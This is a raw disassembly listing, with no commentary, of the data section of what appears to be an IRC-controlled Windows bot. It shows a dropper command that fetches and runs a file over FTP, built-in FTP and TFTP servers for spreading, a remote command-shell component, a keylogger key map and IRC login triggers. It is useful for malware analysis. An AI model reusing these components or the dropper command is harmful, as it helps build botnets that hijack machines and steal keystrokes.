&ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F402+1C9o align 4 ; char aSS_3[] aSS_3 db '%s %s',0 ; DATA XREF: sub_40F402+251o align 4 ; char aUser_1[] aUser_1 db 'USER',0 ; DATA XREF: sub_40F402+262o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F402+277o align 4 ; char aPass[] aPass db 'PASS',0 ; DATA XREF: sub_40F402+287o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F402+29Bo align 4 ; char aSyst[] aSyst db 'SYST',0 ; DATA XREF: sub_40F402+2ABo align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F402+2BFo align 4 ; char aRest[] aRest db 'REST',0 ; DATA XREF: sub_40F402+2CFo align 4 a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F402+2E3o align 10h ; char off_44A5C0[] off_44A5C0 dd offset aAugustus+8 ; DATA XREF: sub_40F402+2F3o a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F402+307o align 4 ; char aType[] aType db 'TYPE',0 ; DATA XREF: sub_40F402+317o align 4 ; char aA_0[] aA_0: ; DATA XREF: sub_40F402+32Eo unicode 0, <A>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F402+342o ; char aType_0[] aType_0 db 'TYPE',0 ; DATA XREF: sub_40F402+352o align 4 ; char aI[] aI: ; DATA XREF: sub_40F402+369o unicode 0, <I>,0 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F402+37Do ; char aPasv[] aPasv db 'PASV',0 ; DATA XREF: sub_40F402+38Do align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40F402+3A0o align 4 ; char aList_0[] aList_0 db 'LIST',0 ; DATA XREF: sub_40F402+3DBo align 10h a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F402+3EEo align 4 ; char aPort[] aPort db 'PORT',0 ; DATA XREF: sub_40F402+41Co align 10h ; char aS_24[] aS_24 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F402+455o db ']',0 ; char aXX[] aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F402+499o align 10h ; char aS_S_S_S[] aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F402+4CCo a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F402+4DDo align 4 ; char aRetr[] aRetr db 'RETR',0 ; DATA XREF: sub_40F402+4F2o align 4 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40F402+50Ao align 10h ; char aFtpTransferSta[] aFtpTransferSta db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40F402+533o a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F402+57Do ; char aFtpTransferCom[] aFtpTransferCom db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40F402+58Fo align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40F402+5E0o align 4 ; char aQuit_1[] aQuit_1 db 'QUIT',0 ; DATA XREF: sub_40F402+5EDo align 10h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F402+601o ; char aRb[] aRb db 'rb',0 ; DATA XREF: sub_40FAB6+24o align 10h ; char aGet_0[] aGet_0 db 'GET ',0 ; DATA XREF: sub_40FB50+26Fo align 4 ; char asc_44A7B8[] asc_44A7B8: ; DATA XREF: sub_40FB50+292o unicode 0, < >,0 ; char asc_44A7BC[] asc_44A7BC: ; DATA XREF: sub_40FB50+297o unicode 0, < >,0 ; char aGet_1[] aGet_1 db 'GET ',0 ; DATA XREF: sub_40FB50+2A2o align 4 ; char asc_44A7C8[] asc_44A7C8 db 0Dh,0Ah,0 ; DATA XREF: sub_40FB50+2D5o align 4 ; char asc_44A7CC[] asc_44A7CC db '-' ; DATA XREF: sub_40FB50+3FEo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 aTextHtml db 'text/html',0 ; DATA XREF: sub_40FFB1+5Fo align 10h ; char aApplicationOct[] aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FFB1:loc_410017o align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FFB1+84o align 10h aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FFB1+98o align 4 ; char aHttp1_0200OkSe[] aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FFB1+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 ; char aHttp1_0200Ok_0[] aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FFB1+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aS_25 db '\%s',0 ; DATA XREF: sub_410134+2Fo ; char aS_26[] aS_26 db '%s',0 ; DATA XREF: sub_410134+3Ao align 10h ; char aSS_4[] aSS_4 db '%s%s',0 ; DATA XREF: sub_410134+EAo align 4 ; char asc_44AA18[] asc_44AA18: ; DATA XREF: sub_410134+FBo dw 0Ah unicode 0, <>,0 ; char asc_44AA1C[] asc_44AA1C: ; DATA XREF: sub_410134+15Ao unicode 0, <*>,0 ; char asc_44AA20[] asc_44AA20 db '-' ; DATA XREF: sub_410134+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 ; char asc_44AA54[] asc_44AA54 db '-' ; DATA XREF: sub_410134+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_39 db ' failed to start worker thread, error %d',0 align 4 ; char asc_44AA8C[] asc_44AA8C db 0Ah,0 ; DATA XREF: sub_4103EB+29o align 10h ; char aPrivmsgSSearch[] aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+4Bo ; char aHtmlHeadTitleI[] aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4103EB+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h ; char aH1IndexOfSH1Ta[] aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4103EB+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 ; char aTrTdWidthDCode[] aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4103EB+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char aTrTdColspan3Hr[] aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4103EB+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char aSearchingForS[] aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+149o ; char aTrTdColspan3AH[] aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4103EB+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char a__[] a__ db '..',0 ; DATA XREF: sub_4103EB+237o align 10h ; char a__2[] a__2: ; DATA XREF: sub_4103EB+252o unicode 0, <.>,0 aPm_0 db 'PM',0 ; DATA XREF: sub_4103EB+28Ao align 4 aAm db 'AM',0 ; DATA XREF: sub_4103EB+295o align 4 ; char a2_2d2_2d4d2_2d[] a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4103EB+2BFo ; char aS_27[] aS_27 db '<%s>',0 ; DATA XREF: sub_4103EB+2E9o align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4103EB+310o align 10h ; char aTrTdWidthDAHre[] aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4103EB+328o db '<TD WIDTH="%d"><A HREF="',0 align 10h ; char aSS_5[] aSS_5 db '%s%s/',0 ; DATA XREF: sub_4103EB+36Co align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4103EB+3B3o align 4 ; char aCodeSCodeA[] aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4103EB:loc_4107A5o align 10h aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4103EB+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char aS_28[] aS_28 db '<%s>',0 ; DATA XREF: sub_4103EB+40Bo align 10h ; char a31s21s[] a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+42Fo align 10h ; char aPrivmsgS31s2_0[] aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4103EB+46Eo align 4 ; char aTrTdWidthDAH_0[] aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4103EB+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 ; char aSS_6[] aSS_6 db '%s%s',0 ; DATA XREF: sub_4103EB+4DAo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4103EB+521o align 10h ; char aCodeSCodeA_0[] aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4103EB:loc_410913o align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4103EB+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 ; char a31s21sIBytes[] a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+58Do align 4 ; char aPrivmsgSFoundS[] aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_4103EB+61Co align 4 ; char aTrTdColspan3_0[] aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4103EB+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 ; char aFoundIFilesAnd[] aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_4103EB+652o align 4 ; char aSSHttp1_1Refer[] aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410B5C+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 ; char asc_44AF64[] asc_44AF64 db '-' ; DATA XREF: sub_410C7D+BBo db 3, 34h, 2 dd 6E656469h, 3026474h aClientConnecti db '- client connection from %s:%d.',0 ; char aUseridUnixS[] aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410C7D+116o ; char asc_44AFA8[] asc_44AFA8 db '-' ; DATA XREF: sub_410C7D+171o db 3, 34h, 2 dd 6E656469h, 3026474h aServerFailed_0 db '- server failed, returned %d',0 align 4 ; char asc_44AFD4[] asc_44AFD4 db '-' ; DATA XREF: sub_410E2B+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 ; char asc_44B01C[] asc_44B01C db '-' ; DATA XREF: sub_410E2B+15Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_40 db 'Failed to start client thread, error: <%d>.',0 ; char asc_44B058[] asc_44B058 db '-' ; DATA XREF: sub_410FBC+E1o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 ; char asc_44B09C[] asc_44B09C db '-' ; DATA XREF: sub_410FBC+1AAo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_41 db 'Failed to start connection thread, error: <%d>.',0 ; char asc_44B0DC[] asc_44B0DC db '-' ; DATA XREF: sub_411240+E1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_411240+172o align 4 ; char asc_44B11C[] asc_44B11C db '-' ; DATA XREF: sub_411240+1A2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 ; char asc_44B144[] asc_44B144 db '-' ; DATA XREF: sub_411240+1C2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h ; char asc_44B170[] asc_44B170 db '-' ; DATA XREF: sub_411240+1E9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 ; char asc_44B19C[] asc_44B19C db '-' ; DATA XREF: sub_411445:loc_41148Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 ; char dword_44B1C8[] dword_44B1C8 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_41149F+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0 align 4 ; char asc_44B238[] asc_44B238 db '-' ; DATA XREF: sub_4114CE+3Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 ; char asc_44B264[] asc_44B264 db '-' ; DATA XREF: sub_4114CE+70o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0 align 4 unk_44B2A8 db 2Dh ; - ; DATA XREF: sub_4114CE+106o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aReadyAndWaitin db '- Ready and waiting for incoming connections.',0 align 4 ; char asc_44B2E4[] asc_44B2E4 db '-' ; DATA XREF: sub_4114CE+177o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 ; char asc_44B328[] asc_44B328 db '-' ; DATA XREF: sub_4114CE+1FBo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_42 db '- Failed to start client thread, error: <%d>.',0 align 4 ; char asc_44B364[] asc_44B364 db '-' ; DATA XREF: sub_4114CE+219o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorServerFai db '- Error: server failed, returned: <%d>.',0 align 4 ; char asc_44B39C[] asc_44B39C db '-' ; DATA XREF: sub_411756+59o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 ; char asc_44B3E4[] asc_44B3E4 db '-' ; DATA XREF: sub_411756+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 ; char asc_44B42C[] asc_44B42C db '-' ; DATA XREF: sub_411756+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 10h unk_44B460 db 2Dh ; - ; DATA XREF: sub_4118A7+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 ; char asc_44B4A0[] asc_44B4A0 db '-' ; DATA XREF: sub_4118A7+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_2 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 10h unk_44B4E0 db 2Dh ; - ; DATA XREF: sub_4118A7+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4119A0+8Co align 10h ; char asc_44B510[] asc_44B510 db '-' ; DATA XREF: sub_4119A0+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 ; char asc_44B548[] asc_44B548 db '-' ; DATA XREF: sub_411A79+A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 ; char asc_44B584[] asc_44B584 db '-' ; DATA XREF: sub_411C4E+A8o db 3, 34h, 2 dd 6B636F73h, 3023473h aServerStarte_5 db '- Server started on: %s:%d.',0 ; char asc_44B5AC[] asc_44B5AC db '-' ; DATA XREF: sub_411C4E+114o db 3, 34h, 2 dd 6B636F73h, 3023473h aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 10h ; char asc_44B5F0[] asc_44B5F0 db '-' ; DATA XREF: sub_411C4E+18Fo db 3, 34h, 2 dd 6B636F73h, 3023473h aFailedToSta_43 db '- Failed to start client thread, error: <%d>.',0 align 4 ; char asc_44B62C[] asc_44B62C db '-' ; DATA XREF: sub_411C4E+1B2o db 3, 34h, 2 dd 6B636F73h, 3023473h aFailedToSta_44 db '- Failed to start server on Port %d.',0 align 10h ; char dword_44B660[] dword_44B660 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411E53+F2o aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 10h ; char dword_44B6A0[] dword_44B6A0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411E53+18Ao aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 10h ; char dword_44B6E0[] dword_44B6E0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411E53+1F9o aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 aOctet db 'octet',0 align 4 ; char aRb_0[] aRb_0 db 'rb',0 ; DATA XREF: sub_412217+130o align 10h ; char aTftpTransferSt[] aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_412217+2CDo align 10h ; char aTftpTransferCo[] aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_412217+3C4o align 10h dword_44B770 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_412217+41Co dd 8 dword_44B784 dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_412775:loc_412858o dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_44BEB4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_412775+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) ; char asc_44BEEC[] asc_44BEEC db '\',0 ; DATA XREF: sub_412694+2Co align 10h ; char aAb[] aAb db 'ab',0 ; DATA XREF: sub_412694+4Eo align 4 ; char aDDDDDDS[] aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_412694+88o align 10h ; char asc_44BF10[] asc_44BF10 db '-' ; DATA XREF: sub_412694+AEo db 3, 34h, 2 dd 6C79656Bh, 302676Fh, 7325202Dh, 0 ; char aSChangedWindow[] aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_412775+8Fo align 10h aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_412775+1E5o align 4 ; char aSReturnS[] aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_412775+228o align 10h off_44BF70 dd offset dword_44C7D8 ; DATA XREF: sub_412A56+2B9r dd offset dword_44C7DC dd offset dword_44C7E0 dd offset aHttp_0 ; "HTTP" ; char a_login[] a_login db ':.login',0 ; DATA XREF: sub_412A56+1DEo dd 3 dup(0) dword_44BF94 dd 0 ; DATA XREF: sub_412A56+2B2r aLogin_3 db ':,login',0 dd 4 dup(0) aLogin_4 db ':!login',0 dd 4 dup(0) a@login db ':@login',0 dd 4 dup(0) aLogin_5 db ':$login',0 dd 4 dup(0) aLogin_6 db ':%login',0 dd 4 dup(0) aLogin_7 db ':^login',0 dd 4 dup(0) aLogin_8 db ':&login',0 dd 4 dup(0) aLogin_9 db ':*login',0 dd 4 dup(0) aLogin_10 db ':-login',0 dd 4 dup(0) aLogin_11 db ':+login',0 dd 4 dup(0) aLogin_12 db ':/login',0 dd 4 dup(0) aLogin_13 db ':\login',0 dd 4 dup(0) aLogin_14 db ':=login',0 dd 4 dup(0) a?login db ':?login',0 dd 4 dup(0) aLogin_15 db ':',27h,'login',0 dd 4 dup(0) aLogin_16 db ':`login',0 dd 4 dup(0) aLogin_17 db ':~login',0 dd 4 dup(0) aLogin_18 db ': login',0 dd 4 dup(0) a_auth db ':.auth',0 align 10h dd 4 dup(0) aAuth db ':,auth',0 align 4 dd 4 dup(0) aAuth_0 db ':!auth',0 